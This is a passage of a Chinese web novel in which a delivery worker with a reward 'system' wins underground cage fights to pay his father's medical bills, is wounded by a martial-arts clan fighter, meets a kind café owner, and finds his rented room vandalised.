王大头眼神冰冷如万载寒冰,没有丝毫的犹豫和怜悯。脑海中闪过父亲枯槁的面容和母亲绝望的眼泪,所有的杂念都被摒弃,只剩下一个念头——赢!必须赢!
第三招!内力灌注·精准打击!
他腰部发力,拧身送肩,将全身残留的冲势与凝聚的内力,尽数灌注于右拳之上!拳头如同出膛的炮弹,简单,直接,摒弃一切花哨,速度快到极致,狠辣到极致!目标精准锁定——因剧痛而大张、毫无防护的下颌三角区,人体最脆弱的要害之一!
“砰!”
拳头与下颌骨结结实实撞
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击的声音,沉闷而骇人,如同重锤砸碎了西瓜!
“绞肉机”那震耳欲聋的惨嚎声戛然而止!他庞大的身躯如同被抽掉了所有骨头,轰然向后仰倒,后脑勺重重砸在富有弹性的铁丝网上,发出“咚”的一声闷响,然后如同半扇猪肉般滑落在地,溅起些许灰尘。他双眼翻白,口鼻之中鲜血汩汩涌出,身体无意识地抽搐了两下,便彻底没了声息,昏死过去。
整个“烈焰”地下拳场,陷入了一片死寂。
时间仿佛在这一刻凝固。
所有人都像是被集体施了定身法,瞪大了眼睛,张大了嘴巴,脸上写满了极致的震惊、茫然和不可思议。那些挥舞到一半的拳头僵在半空,那些呐喊声卡在喉咙里,那些准备庆祝赢钱的笑容凝固在脸上。
三招!
仅仅三招!
一个看起来弱不禁风、名不见经传的新人,竟然以如此摧枯拉朽、近乎碾压的方式,三招KO了凶名赫赫、体型堪比怪物的“绞肉机”?!
这巨大的反差,这颠覆性的结果,让所有人的大脑CPU都陷入了彻底的烧毁状态。
主持人拿着麦克风,嘴巴张得能塞进一个鸡蛋,之前滔滔不绝的煽动性话语全都噎在了喉咙里,一个字也吐不出来。
张猛在台下,先是僵住,随即巨大的狂喜和震撼冲上头顶,让他浑身不受控制地剧烈颤抖起来,他想放声大喊,想用力捶打胸口发泄,却发现喉咙像是被堵住,只能发出“嗬嗬”的激动气音。
王大头站在笼中间,缓缓收回拳头,胸膛微微起伏,但呼吸很快便恢复了平稳。他扫视着台下那些如同见鬼般的目光,看着那些从震惊转为狂热、敬畏、乃至深深恐惧的眼神,看着无数被下意识撕碎、飘落如同雪片的赌注凭证,内心却如同古井无波。
这,仅仅是通往五十万救命钱的第一步。为了父亲,他必须一路赢下去,神挡杀神,佛挡杀佛!
就在这时,脑海深处,那久违的、冰冷的电子提示音,带着一种独特的韵律,清脆地响起:
【叮!检测到宿主身处血腥逆境,以弱胜强,碾压取胜,武道之心坚定,符合特殊奖励条件!奖励发放:【十年内力感悟】x1!】
十年内力感悟!
王大头的心脏猛地一缩,随即狂跳起来!这奖励,远超预期!果然,系统的判定机制,与所处的环境危险程度、对手的恶意强度以及自身表现的碾压程度息息相关!这地下拳赛,果然是快速提升的“宝地”!
他强行压下立刻引导、吸收这股庞大感悟的冲动,将翻涌的气血压下,目光平静地转向依旧处于呆滞状态的主持人。
主持人接触到他那平静得令人心寒的目光,猛地一个激灵,回过神来,声音带着前所未有的颤抖和一种挖掘到宝藏般的兴奋,用尽全身力气嘶吼道:
“胜…胜者!是——王!腾!!!”
短暂的死寂之后,更加疯狂、更加混乱的声浪,如同积蓄已久的火山,轰然爆发,席卷了整个地下空间!赌徒们的狂喜、咒骂、惊叹,交织成一曲光怪陆离的地下狂欢曲。
第13章连胜!内力暴涨
笼门外,张猛激动得满脸通红,一把抓住王大头的胳膊,声音因兴奋而有些变调:“大头!我靠!三招!**就用了三招!那可是绞肉机啊!你看见那帮孙子的表情了吗?眼珠子都快瞪出来了!”
王大头轻轻拍了拍张猛因激动而颤抖的手背,脸上并无太多喜色,只是低声问道:“奖金呢?”
“在这在这!”张猛连忙从怀里掏出一个厚厚的信封,塞到王大头手里,压低声音,“五千,一分不少!还有…我按你说的,用我自己的钱也押了你赢,小赚了一笔!”他搓着手,兴奋之情溢于言表。
入手沉甸甸的信封,带着钞票特有的质感。五千块…若在平时,需要他风雨无阻奔跑大半个月。而在这里,仅仅几分钟。但这,还远远不够。
“帮我报名下一场。”王大头将信封揣进裤兜,语气不容置疑。
“下一场?”张猛脸上的兴奋僵了一下,担忧取代了喜悦,“大头,你…你不休息一下?刚才那几下看着轻松,肯定也耗体力吧?而且,‘快手’那家伙不好惹,腿功很厉害…”
“不用休息,尽快安排。”王大头打断他,目光扫向不远处那依旧喧嚣沸腾的擂台,眼神深处是磐石般的坚定。父亲的呼吸机声音仿佛就在耳边,医院的催款单如同跗骨之蛆,他没有时间可以浪费。
张猛看着他那双平静却蕴含着不容置疑力量的眼睛,把劝说的话咽了回去,重重点头:“好!我这就去!”
接下来的两场比赛,如同第一场的复刻,却又展现出王大头应对不同战斗风格的惊人适应能力。
第二场,对手是绰号“快手”的瘦高男子。此人一身紧身运动服,眼神灵动,步伐轻盈,以迅疾如风的腿法著称。比赛铃声响起的瞬间,“快手”便如同猎豹般窜出,一记凌厉的高位扫腿,带着破空声,直踢王大头头部太阳穴,速度确实远超“绞肉机”。
台下响起一阵惊呼,“快手”的支持者更是发出兴奋的呐喊。
然而,在王大头经过内力强化的动态视觉和神经反应下,这一腿的速度依旧不够看。他没有选择闪避,而是瞬间调动内力,灌注于左臂之上,手臂肌肉瞬间绷紧,硬度与韧性陡增,如同铁铸的盾牌,不偏不倚,精准地格挡在对方小腿胫骨之上!
“啪!”
一声清脆的撞击声。“快手”感觉自己仿佛踢中了一根钢柱,小腿骨传来钻心的疼痛,攻势瞬间一滞,脸上闪过一丝痛楚和惊愕。
就在他旧力已尽,身形微顿的刹那,王大头动了!他格挡的左臂顺势下滑卸力,右手食指与中指并拢如剑,内力微吐,以肉眼难以捕捉的速度,精准无比地点在“快手”作为支撑腿的右腿膝盖外侧麻筋之上!
这一下,蕴含了内力穿透和精准解剖学知识的结合。
“啊!”“快手”只觉得整条右腿瞬间一麻,如同过电,支撑力骤然消失,“噗通”一声,单膝跪倒在地,脸上写满了难以置信。
王大头没有追击,只是上前一步,右手化指为掌,轻轻按在对方咽喉之上,虽未发力,但那冰冷的触感和隐含的威胁,让“快手”浑身汗**倒竖。
“我…我认输!”“快手”艰难地吐出三个字,脸色煞白。他知道,对方已经手下留情,否则刚才那一指,足以让他膝盖碎裂。
整个过程,不到三十秒。
第三场,对手是“**蛇”,一个精擅巴西柔术和地面缠斗的壮汉。他穿着无袖格斗服,裸露的臂膀上肌肉盘虬,眼神阴冷,如同真正的毒蛇,一上台就死死盯着王大头,试图用眼神施加压力。
比赛开始,“**蛇”立刻放低重心,如同贴地游走的毒蛇,快速逼近,想要施展他最擅长的抱摔和地面锁技。
然而,王大头根本不给他近身纠缠的机会。他脚下步伐变幻,如同穿花蝴蝶,又似泥鳅入水,将融合了八极拳步法和自身力学分析的“科学身法”发挥到极致。无论“**蛇”如何扑击、假动作,总是差之毫厘,无法触及王大头的衣角。
几次扑空,“**蛇”变得焦躁起来,怒吼一声,不顾一切地猛扑过来,双臂张开,如同巨**吞噬,想要强行将王大头抱住。
就在他即将合拢双臂的瞬间,王大头眼中精光一闪,不退反进,侧身切入,左手闪电般探出,不是硬挡,而是如同轻柔的丝带,搭在“**蛇”前冲的手臂上,蕴含“缠丝劲”的内力微微一吐,结合巧妙的杠杆牵引。
“**蛇”只觉得一股自己无法抗拒的、旋转的巧劲传来,前冲的势头被带偏,整个人如同失控的陀螺,不由自主地朝着侧前方的八角笼钢柱狠狠撞去!
“咚!!”
一声闷响,伴随着头骨与钢铁的亲密接触声。
“**蛇”的动作瞬间定格,双眼翻白,一声不吭地沿着笼柱软软滑到在地,晕厥过去。
又是一场干净利落的秒杀!
三连胜!
当主持人再次高声宣布“王腾”获胜时,场下的观众已经麻木了。震惊过后,是更加疯狂的追捧和押注!这个神秘的新人,用无可争议的实力,迅速成为了“烈焰”拳场新的焦点和摇钱树。
奖金、连胜奖励,加上张猛按照他吩咐,用之前赢来的钱不断押注所获得的丰厚回报,王大头手中的现金,迅速累积到了四万多元!
揣着这笔带着血腥和汗水的钱,王大头和兴奋得几乎要晕过去的张猛,迅速离开了这个喧嚣与危险并存的是非之地。
深夜,城中村出租屋。
窗外城市的霓虹被厚厚的窗帘隔绝,只有一丝微弱的光线渗入,勾勒出屋内简陋的轮廓。空气中还残留着泡面和廉价消毒液的味道。
王大头反锁好门窗,盘膝坐在冰冷的床板上,甚至来不及换下那身沾染了汗水和些许血渍的衣服。他闭上双眼,意识瞬间沉入脑海深处。
那半透明的蓝色系统光幕悄然浮现。光幕上,代表【十年内力感悟】的那团氤氲气流,比之前【五年内力感悟】的更加凝实、庞大,如同星云般缓缓旋转,散发着令人心悸的能量波动。
没有丝毫犹豫,他意念集中,锁定了那团气流,发出了“吸收”的指令。
轰!!!
仿佛脑海中炸开了一道惊雷!比上一次猛烈数倍的洪流,裹挟着海量的武道经验、内力运行技巧以及对身体更深层次的认知,如同决堤的天河,瞬间冲入他的四肢百骸,灌入每一条经脉!
“呃……”
即便以他如今坚韧的神经,也忍不住发出一声压抑的闷哼。庞大的能量在他体内横冲直撞,经脉传来被强行拓宽的撕裂般痛楚,丹田气海如同被投入巨石的深潭,剧烈翻腾!
他紧守灵台一丝清明,全力运转优化后的“高效周天循环法”,引导着这股狂暴的能量洪流,按照最合理的路径奔腾、冲刷、融合。
痛苦持续了将近半个小时。
当最后一丝能量被彻底吸收、驯服,融入他自身的内力体系后,一种前所未有的充实与强大感,如同温暖的潮水般涌遍全身。
他缓缓睁开双眼。
黑暗中,他的眸子亮得惊人,如同两颗嵌入夜空的寒星,精光四射,足足过了好几秒,那逼人的光芒才渐
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渐内敛。他轻轻握了握拳头,指关节发出清脆的“噼啪”声,感受着体内那如同奔腾江河般汹涌澎湃的内力,总量比之前暴涨了何止一倍!
“十五年内力……”他低声自语,声音在寂静的房间里显得格外清晰。不仅仅是量的提升,内力的质也变得更加精纯、凝练,运转起来如臂指使,圆融通透。五官六识再次得到强化,他甚至能清晰地“听”到楼下房东家电视机里微弱的对话声,能“看”清黑暗中悬浮在空气里的每一粒微尘的轨迹。
力量!实实在在、掌控自身命运的力量感,让他因为巨额医药费而一直紧绷的心弦,稍稍松弛了一丝。
按照这个速度,十连胜,五十万奖金,似乎不再是遥不可及的幻梦!
他并不知道,在他于擂台上摧枯拉朽般完成三连胜,展现出远超普通黑拳选手的格斗素养时,在“烈焰”酒吧二楼,那间从不对外人开放的、装饰着古典红木家具的监控室内,一双锐利如鹰隼、仿佛能洞悉人心的眼睛,已经透过单向玻璃,注视了他整整一个晚上。
这是一个穿着剪裁合体的深灰色中山装的中年男人。他约莫五十岁上下年纪,头发梳理得一丝不苟,不见半分杂乱,面容清癯,颧骨微高,嘴唇抿成一条冷硬的直线。最引人注目的是他那双眼睛,开阖之间精光内蕴,带着一种久居上位、执掌权柄的威严和审视。他端坐在一张太师椅上,身姿挺拔如松,右手正不疾不徐地把玩着一对颜色深沉、包浆浑厚如玉的文玩核桃。核桃在他修长有力的指间无声转动,发出极其细微、却富有韵律的摩擦声,显示出主人对力量精妙入微的控制。
他身边,恭敬地垂手站立着一个穿着合身黑色西装、经理模样的中年男人。此人微微躬身,神态谦卑,连呼吸都刻意放轻,不敢打扰前者的沉思。
“查清楚这个‘王腾’的底细了吗?”中山装男人终于开口,声音平和,不高不低,却带着一种自然而然的压迫感,在安静的房间里清晰可闻。
西装经理身体微微一颤,更加恭敬地回答道:“回林管事,已经让人去查了。表面身份非常干净,就是一个普通的农村来的大学生,毕业后找不到工作,在城北片区送外卖,家境贫寒,父亲重病住院,急需用钱。但是……”他顿了顿,语气带着困惑和敬畏,“他这身手……干净利落,发力方式刁钻狠辣,看似是八极拳的路子,却又融合了一些非常……非常古怪的技巧,效率高得吓人。绝对不可能是普通外卖员能练出来的!我们怀疑他背后可能有高人,或者……他本身就来自某个我们不知道的小门派或者隐世传承。”
被称为林管事的中年男人微微颔首,目光依旧透过单向玻璃,落在楼下刚刚领取了奖金、正与张猛低声交谈准备离开的王大头身上,深邃的眼眸中闪过一丝难以捉摸的兴趣。
“身世清白,身手不凡,却为钱所困,来打黑拳……”林管事嘴角勾起一抹意味深长的弧度,那弧度冰冷,不带丝毫温度,“有点意思。看来是条急于跳出浅滩的‘困龙’。”
他掌心中那对匀速转动的文玩核桃,悄然停止了转动,被他稳稳握住。
“继续观察,摸清他的路数和极限。暂时不要惊动他。”林管事的声音依旧平淡,“如果可以……在他最需要的时候,递出我们的橄榄枝。我们林家,‘狩猎场’里的那些‘猛兽’们,最近似乎有些缺乏活力了。需要一点新鲜的血液,去刺激刺激他们,不是吗?”
西装经理心领神会,躬身道:“明白,林管事。我知道该怎么做了。”
第14章:遭遇古武,陷入苦战
三连胜的余威尚未散去,“王腾”这个名字已然成为“烈焰”地下拳场最炙手可热的新星。当王大头在张猛既兴奋又忐忑的陪伴下,再次踏入这个喧嚣之地时,他能清晰地感受到四面八方投来的目光——敬畏、好奇、审视,以及……几道格外冰冷的、带着审视意味的视线。
“大头,今晚这场……我感觉有点不对劲。”张猛凑近低声说,眉头紧锁,“对手是刚安排的,叫‘林影’,以前从没听说过这号人。而且,我听几个老油子说,这人好像是直接通过‘上面’的关系塞进来的。”他悄悄用手指向上指了指,意指酒吧二楼那个神秘的监控室。
王大头心中微凛,面上却不动声色。“知道了。”他淡淡回应,目光扫过攒动的人头,体内十五年的精纯内力如同蛰伏的江河,在优化后的周天路径中缓缓流淌,带来一种踏实的力量感。无论对手是谁,他都必须赢。
然而,当那个代号“林影”的对手踏入八角笼时,王大头立刻察觉到了不同。
此人身材匀称,并不显得特别魁梧,穿着一身不起眼的灰色练功服,脚步落地无声,动作间带着一种难以言喻的协调与韵律。他面容普通,属于扔进人海就找不到的类型,但那双眼睛,却平静得如同古井深潭,看向王大头时,没有丝毫轻蔑或狂热,只有一种纯粹的、如同打量物品般的审视。
更重要的是,王大头敏锐地感知到,对方身上散发着一股若有若无的“气”场,虽然远不如自己十五年内力浑厚,却更加凝练、灵动,与周围喧嚣狂暴的环境格格不入。
“古武者……”一个念头如同闪电般划过王大头的脑海。赵师傅曾隐晦提及的,隐藏在都市表象之下的另一个世界的人!
主持人依旧用煽动性的语气介绍着双方,但明显对“林影”的来历语焉不详。台下的赌徒们虽然对“王腾”信心满满,但“林影”那与众不同的气质,也让他们嗅到了一丝不寻常的气息,下注变得谨慎起来。
“比赛开始!”
铃声敲响的瞬间,“林影”动了!
他的动作看似不快,却带着一种奇异的节奏感,身形一晃,便如同鬼魅般贴近王大头,左手并指如剑,直刺王大头咽喉,指尖破空,发出细微的“嗤”声!
好快!而且角度刁钻!
王大头心头一紧,丰富的街头斗殴和擂台经验让他下意识地侧身避让,同时右拳蕴含内力,一记迅猛的直拳轰向对方肋部,试图以力破巧。
然而,“林影”似乎早已预料到他的反应,刺出的手指在中途诡异的一划,变刺为拂,如同轻柔的柳絮,搭在了王大头的手腕脉门上。一股阴柔却极具穿透性的劲力瞬间透入!
王大头只觉得手臂一麻,拳头上的力道竟然被卸去了大半!与此同时,“林影”的右掌如同穿花蝴蝶般无声无息地印向他的胸口!
王大头急忙后退,体内内力爆发,速度激增,险之又险地避开了这一掌。但掌风掠过胸前,依旧让他感到一阵气血翻腾。
“咦?”“林影”发出一声轻咦,显然对王大头能避开这一掌有些意外,但眼神中的兴趣更浓了。“蛮力不小,可惜……粗糙不堪。”
他的声音不高,却清晰地传入王大头耳中,带着一种居高临下的点评意味。
王大头心中怒火升腾,但更多的是凝重。对方的力量明明不如自己,但那精妙的招式和对力量的运用,却远非之前的对手可比。他的攻击,仿佛总能找到自己发力最别扭、防守最薄弱的角度。
接下来的战斗,完全进入了“林影”的节奏。
王大头空有十五年的浑厚内力,拳脚势大力沉,每一击都带着呼啸的劲风。但在“林影”面前,却如同笨拙的大象在攻击灵巧的游鱼。“林影”的身法飘忽不定,步伐蕴含玄机,总是在间不容发之际避开他的重击,同时指、掌、拳、爪变幻莫测,每一次攻击都精准地落在王大头旧力已尽、新力未生的节点,或是关节、穴位等薄弱之处。
“嘭!”一记掌刀切在王大头肘关节侧方,让他整条手臂瞬间酸麻。
“啪!”一指弹在他的肩井穴,半边身子都是一僵。
“嗤!”凌厉的指风掠过腰间,带走一片布料,留下火辣辣的疼痛。
王大头被打得节节败退,空有力量却无从施展,憋屈无比。他感觉自己就像个拿着重锤的孩童,面对一个手持精巧**的刺客,空有力量却处处受制。体内的内力因为急躁而有些紊乱,消耗速度
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极快。
台下,原本兴奋的呐喊声渐渐平息,取而代之的是惊愕和窃窃私语。
“这‘林影’什么来头?招式好诡异!”
“王腾好像被完全克制了!”
“妈的,老子可是重注押了王腾啊!”
张猛在场边急得满头大汗,拳头攥得死死的,却又无能为力。
二楼监控室内,林管事依旧慢条斯理地转着核桃,嘴角带着一丝一切尽在掌握的微笑。旁边的西装经理恭维道:“林管事英明,让林浩少爷去试试他,果然原形毕露。空有蛮力的野路子,在林家正宗的‘灵蛇掌法’面前,不堪一击。”
林管事微微颔首:“浩儿虽只是旁系,资质平平,但对付这种野狐禅,绰绰有余了。让他玩够了就结束吧,别耽误正事。”
笼内,王大头的情况愈发危急。“林影”(林浩)的攻势如同绵绵细雨,无孔不入,让他防不胜防。连续几次硬碰,他都因为发力技巧和时机把握不如对方而吃了暗亏,内腑已然受了一些震荡。
“游戏该结束了。”林浩眼中闪过一丝不耐和冷厉,他久攻不下,虽然占据上风,但对方那浑厚得不像话的内力也让他暗暗心惊,决定动用杀招。
他身形陡然加速,如同鬼魅般绕到王大头侧后方,双掌交错,掌影翻飞,如同毒蛇出洞,虚实难辨,最终化繁为简,一记凝聚了其全身功力、无声无息却阴毒无比的“灵蛇吐信”,直印王大头后心要害!
这一掌若是拍实,足以震碎心脉!
王大头虽惊不乱,十五年内力带来的超强感知让他捕捉到了那致命的危机。他强行扭转身形,将大部分内力凝聚于后背,试图硬抗。
“噗!”
掌力及体!
一股阴柔却极具穿透和破坏性的劲力,如同毒蛇的獠牙,瞬间破开他仓促凝聚的护体内力,狠狠钻入体内!
“哇——!”
王大头如遭重击,身体向前踉跄数步,一口殷红的鲜血终于压制不住,猛地喷溅出来,染红了身前的地面。胸口处传来撕裂般的剧痛,气血如同翻江倒海般剧烈翻涌,眼前阵阵发黑!
他,受伤了!而且是内伤!
自获得系统以来,这是他第一次在正面交锋中受创吐血!
第16章:暗流中的暖光
胸口残留的闷痛如同阴云不散,提醒着王大头昨夜与林浩一战的凶险。他强压下翻腾的气血,将刚到手的近三万奖金仔细藏好。父亲的医药费像一座大山,压得他喘不过气,每一分钱都必须用在刀刃上。
“猛子,谢了,药我自己处理。”他拒绝了张猛陪同去医院的提议,声音有些沙哑。有些伤,医院治不了;有些秘密,知道的人越少越好。
回到那间十平米、家徒四壁的出租屋,他反锁房门,空气中还隐约残留着昨夜运功逼出的血腥气。没有片刻耽搁,他盘膝坐上冰冷的床板,闭目凝神,全力运转“高效周天循环法”。内力如涓涓细流,小心翼翼地冲刷着经脉中林浩留下的阴损异种真气,所过之处,如同钝刀刮骨,带来持续而细微的痛楚。汗珠不断从额角滚落,浸湿了身下破旧的床单。
直到天光微亮,他才勉强将那异种真气化解大半,但内力也消耗了近半,脸色透着不健康的苍白。“古武世家,果然不能小觑。”他低声自语,眼神却愈发锐利。这次死里逃生,让他更清晰地认识到系统传承的重要性——空有力量,不过是无根之萍。
看了看手机上逼近八万的存款,紧迫感更甚。父亲的病,等不起。
白天,他依旧穿上那身洗得发白的蓝色外卖服,跨上电驴汇入车流。伤痛与疲惫让他比平时更加沉默,如同一块被反复冲刷的礁石,眼神深处却淬炼出钢铁般的坚韧。
午后的阳光透过梧桐叶,在青石板上投下斑驳光影。一个送往“雅韵咖啡”的订单,将他引向一条宁静的老街。
“雅韵咖啡”的门面不大,原木招牌上手写店名飘逸灵动。推开挂着黄铜风铃的玻璃门,清脆铃声中,一股混合着咖啡醇香、书卷气和淡淡檀香的温暖气息扑面而来,瞬间将门外世界的喧嚣与他身上的血腥戾气温柔隔绝。
店内光线柔和,流淌着舒缓的吉他曲。三三两两的客人或低声交谈,或专注工作,或静心阅读,氛围宁静文艺,与“烈焰”拳场的血腥疯狂判若两个世界。
王大头放轻脚步走到吧台。吧台后,一个穿着素雅米白棉麻长裙的女子正背对着他,踮脚修剪一盆悬垂的文竹。阳光为她窈窕的背影勾勒出柔和光晕,动作专注而优雅。
“您好,饿了么外卖。”他尽量让声音平稳。
女子闻声转身。
时间仿佛慢了一拍。那是一张极为温婉动人的脸庞,肌肤白皙,眉目如画,未施粉黛却清丽脱俗。最动人的是那双眼睛,澄澈明亮如山涧清泉,带着一种能抚平焦躁的宁静力量。她约莫二十三四岁,气质娴静空灵,宛如江南水墨画中走出的女子。
看到王大头,她眸中闪过一丝讶异,随即绽开真诚惊喜的笑容:“是你?‘外卖侠’?”
王大头愣了一下,这才将眼前这位气质如兰的咖啡馆老板,与上次街头那个惊慌失措的被抢女孩联系起来。当时情况紧急,他并未细看,只留下“漂亮、有气质”的模糊印象。
“是你啊,好巧。”他脸上挤出一丝僵硬的笑容。“外卖侠”这称呼让他窘迫,尤其在这样干净美好的女子面前,他感觉自己满身的戾气与血腥是如此格格不入,甚至自惭形秽。
“上次真的非常感谢你!”李雅(王大头目光扫过胸牌)语气诚挚,“还没来得及好好道谢你就走了。你的伤……看起来还没好?没事吧?”她敏锐地注意到他苍白的脸色和眼底难以掩饰的疲惫。
“没事,小伤。”他下意识挺直腰杆,掩饰狼狈,递过外卖,“你的餐。”
李雅接过袋子看也没看放在一旁,目光依旧关切:“你脸色很不好。送外卖很辛苦吧?坐下喝杯水休息一下?我请你喝杯咖啡,略表谢意。”声音温柔似水,带着不容拒绝的诚恳。
“不用了,还有单要送。”他习惯性拒绝,将自己包裹在坚硬的壳里。不想欠人情,尤其这种可能牵扯不清的善意。他的世界泥泞黑暗,不该玷污这份纯净。
“就一杯咖啡的时间,耽误不了几分钟。”李雅却坚持,已转身熟练操作咖啡机,“我看得出来,你很累。不只是身体,对吗?就当……给自己一个偷懒的借口?我这里很安静。”她清澈眼眸中的坚持与善意,周遭安宁的氛围,诱人的咖啡香,让他紧绷的心神不由自主松弛了一线。
他确实累,身体被掏空,精神长期高压。这间咖啡馆,宛如惊涛骇浪中难得的避风港。
沉默片刻,喉结微动,内心挣扎后,他几不可闻道:“……麻烦你了。”
李雅脸上绽开温暖笑靥,如冰雪初融的阳光:“不麻烦。先找位置坐,很快好。”
他选了最里靠窗的角落。窗外梧桐树影,行人悠闲,时光仿佛慢了下来。靠在舒适椅背上,身下坐垫的支撑感让他因运功而滞涩的内力,似乎都自行顺畅了些。
很快,李雅端来白瓷咖啡杯,轻轻放在实木小桌上。拿铁拉花是个线条流畅的笑脸太阳。
“尝尝看,我的招牌‘微笑拿铁’。”她在对面藤椅坐下,双
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手交叠,姿态优雅自然。
他道谢,小心呷了一口。香醇顺滑,微苦与甜润融合恰到好处,远胜他提神的速溶咖啡。一股暖流顺食道而下,仿佛也温暖了冰冷的四肢百骸。
“你……常遇到上次那种危险吗?”她轻声问,带着关心却无过度打探。
“偶尔。”他言简意赅,目光转向窗外,不想深谈。他的世界,与她太远。
“那你很厉害,也很勇敢。”她眼神纯粹欣赏,带着不易察觉的担忧,“但无论如何,安全第一。我看你……总是一个人,好像把所有事都扛在肩上。”观察力敏锐得让他心惊。
他沉默,又喝一大口咖啡,借动作掩饰内心波动。温暖***似乎不仅驱散寒意,也让他坚固心防裂开一丝缝隙。
已记不清多久,没有这样安**在舒适安全处,和一个……或许算朋友的人平和交谈。自从父亲病倒,生活被经济压力、医院压抑、拳场血腥彻底填满,每次呼吸都沉重。
“生活所迫。”最终,他只以四字总结所有心事。
李雅完全理解这简短回答背后的沉重,未再追问,也未流露同情怜悯——那会刺伤他自尊。她自然转换话题,声音轻柔说起老街历史、绿植习性,甚至信口吟诵江南烟雨的诗词,信手拈来,底蕴不俗。声音如乐,知识广博,谈吐间是良好教养与书香门第的温婉。
他大多安静聆听,偶尔简短回应。意外发现自己竟能跟上思路,大学时代沉浸图书馆积累的文史知识,虽被现实尘封,此刻悄然苏醒。让他感受到久违的、属于正常世界的宁静与智识共鸣,仿佛无尽黑暗跋涉中,看到一扇透出温暖光亮的窗。
一杯咖啡时光,悄然飞逝。
他饮尽最后一口,起身整理衣服:“谢谢咖啡,很喜欢。该走了。”
李雅也起身,脸上依旧温柔浅笑:“喜欢就好。欢迎下次光临。如果……不介意,任何时候累了,都可把这里当暂时歇脚处。”邀请真诚自然,毫无施舍意味。
看着她清澈见底、不含杂质的眼睛,心中某处冰封角落,仿佛被这温柔坚持与善意轻轻叩响。他点头,未再多言,转身推开那扇挂风铃的玻璃门。
风铃再响,清脆送行。门外是现实喧嚣忙碌,门内是短暂宁静温暖。
走在喧闹街道,他深吸口气,胸口隐痛似被那杯“微笑”拿铁和李雅温柔笑容冲淡几分。这短暂二十分钟,如同冰冷黑暗紧绷世界里,投入一颗温暖光明石子,荡漾开细微却真实的涟漪。
第17章:陈少的报复,阴魂不散
然而,现实的冰冷与残酷,从不会因片刻的温暖而迟到。它总是如影随形,在你稍松懈时,便给予更沉重的一击。
王大头刚骑着电驴驶出那条充满文艺气息的老街,口袋里的手机就如同催命符般尖锐地震动起来,屏幕上跳动着“妈妈”两个字。一股不祥的预感瞬间攫住了他的心脏。他连忙靠边停车,接通电话。
“大头!大头!你……你在外面到底惹了什么事啊?”电话那头,母亲的声音带着明显的哭腔,充满了难以抑制的恐慌和颤抖,“刚才……刚才有好几个打扮得流里流气、凶神恶煞的人来医院病房这边转悠!到处打听你!问你住在哪里!是干什么的!气势汹汹的,吓得隔壁床都不敢出声!护士过来问,他们才骂骂咧咧地走了……他们……他们会不会找到家里来啊?你爸现在还躺着,我们……”母亲的话语因恐惧而有些语无伦次。
王大头的心瞬间沉到了谷底,一股混杂着愤怒、担忧和冰冷杀意的情绪如同火山岩浆般在胸中翻涌!他握紧手机的手指因为用力而骨节发白。
是谁?!
林家?他们手段应该更隐秘、更居高临下,不至于用这种街头混混式的低劣恐吓手段。而且他们若想查自己,有更多不惊动家人的方法。
那么,答案几乎呼之欲出——
陈少!
那个心胸狭隘、睚眦必报、仗着家世为所欲为的纨绔子弟!自己近期“外卖侠”的名声在网络上传开,恐怕彻底刺激到了对方那脆弱而扭曲的自尊心,点燃了他报复的火焰!
“妈,你别怕,听我说。”王大头强行压下滔天的怒火,让自己的声音尽量听起来镇定平稳,“我没事,可能是一些无聊的人恶作剧。你和爸就在医院待着,哪里也别去,锁好病房门。我这边会处理好的,相信我。”
好不容易安抚住惊慌失措的母亲,挂断电话,王大头的眼神已经冰冷得如同西伯利亚的冻土。他没有任何犹豫,立刻调转车头,没有直接回出租屋,而是先绕道去了医院。他远远地确认了父母所在的病房楼层暂时安全,看到母亲按照他说的紧锁了房门,这才稍稍松了口气,但心中的怒火却燃烧得更加炽烈。
直到夜幕完全降临,华灯初上,城市换上另一副喧嚣的面孔,王大头才如同融入夜色的幽灵,悄无声息地返回到位于脏乱差的城中村的住处。
还未走近那栋墙皮剥落、电线如蛛网般缠绕的破旧筒子楼,一股刺鼻劣质的油漆味就混杂着垃圾堆的酸腐气扑面而来。楼洞入口处的墙壁上,被人用猩红色的油漆泼洒、涂鸦了密密麻麻、不堪入目的侮辱性词汇和恶毒威胁——“穷鬼**!”“杂种跪下舔鞋!”“弄死你妈卖X的!”……扭曲的字迹在昏暗摇曳的路灯照射下,如同恶鬼的符咒,散发着令人作呕的恶意。
几个平时还算熟悉的邻居聚在远处,对着墙壁指指点点,交头接耳,脸上带着恐惧、厌恶和事不关己的冷漠。看到王大头回来,他们立刻像躲避瘟疫一样迅速散开,眼神躲闪,生怕和他产生任何关联。
王大头脸上没有任何表情,如同戴上了一张冰冷的面具。他的目光扫过那些肮脏丑陋的字眼,最终落在自己那间位于潮湿一楼、租金最便宜的出租屋门上。老旧的挂锁被人用暴力钳剪断,残骸掉在地上,门板虚掩着,上面同样被泼满了黏稠猩红的油漆,顺着门板往下流淌,凝固成一道道狰狞的痕迹。
他伸出手,推开了那扇吱呀作响、仿佛在**的木门。
屋内,是比门外更加触目惊心的狼藉。
本就家徒四壁的房间,此刻更是如同被飓风席卷过。那张吱呀作响的木板床被彻底掀翻,床腿断裂;唯一的一张旧桌子和一把椅子被砸得四分五裂,木屑遍地;墙角那个简陋的布衣柜被撕开,里面几件洗得发白的衣物被扯出来,胡乱扔在地上,踩满了肮脏的脚印;母亲省吃俭用给他买的一个廉价电热水壶,也变成了一堆扭曲的塑料和金属片。
最让他心头刺痛的是,墙上那幅他刚毕业时,满怀憧憬写下的“格物致知”书法条幅,被人粗暴地撕成两半,残破的宣纸飘落在地,上面清晰地印着几个污泥的鞋印,仿佛将他曾经引以为傲的学识和尊严,也一并践踏在脚下。地面上,用红色油漆画了一个巨大而扭曲的骷髅头图案,那空洞的眼窝仿佛正嘲弄地盯着他。
空气中,弥漫着劣质油漆的刺鼻气味、暴力破坏后扬起的粉尘味,以及一种浓烈的、属于施暴者肆无忌惮的嚣张与恶意。
王大头站在这一片废墟中间,环视着这个承载了他无数辛酸、却也是他在这冷漠城市中唯一能称之为“家”的方寸之地,被如此彻底地摧毁、玷污。他没有发出丝毫声音,没有愤怒的咆哮,没有崩溃的哭泣,甚至连呼吸都保持着一种诡异的平稳。
然而,他体内那十五年的精纯内力,却如同被投入滚油的冰块,瞬间沸腾、狂暴地加速运转!一股冰冷刺骨、近乎凝成实质的浓烈杀气,不受控制地以他为中心弥漫开来,让这间本就阴冷的屋子,温度仿佛又骤降了几度。
他缓缓走到那扇唯一的、对着街角的破旧窗户边,动作轻缓地撩起那面脏兮兮、此刻也溅上了油漆点的窗帘一角,目光如同最冷静的猎手,透过缝隙,精准地投向外面昏暗的街道。
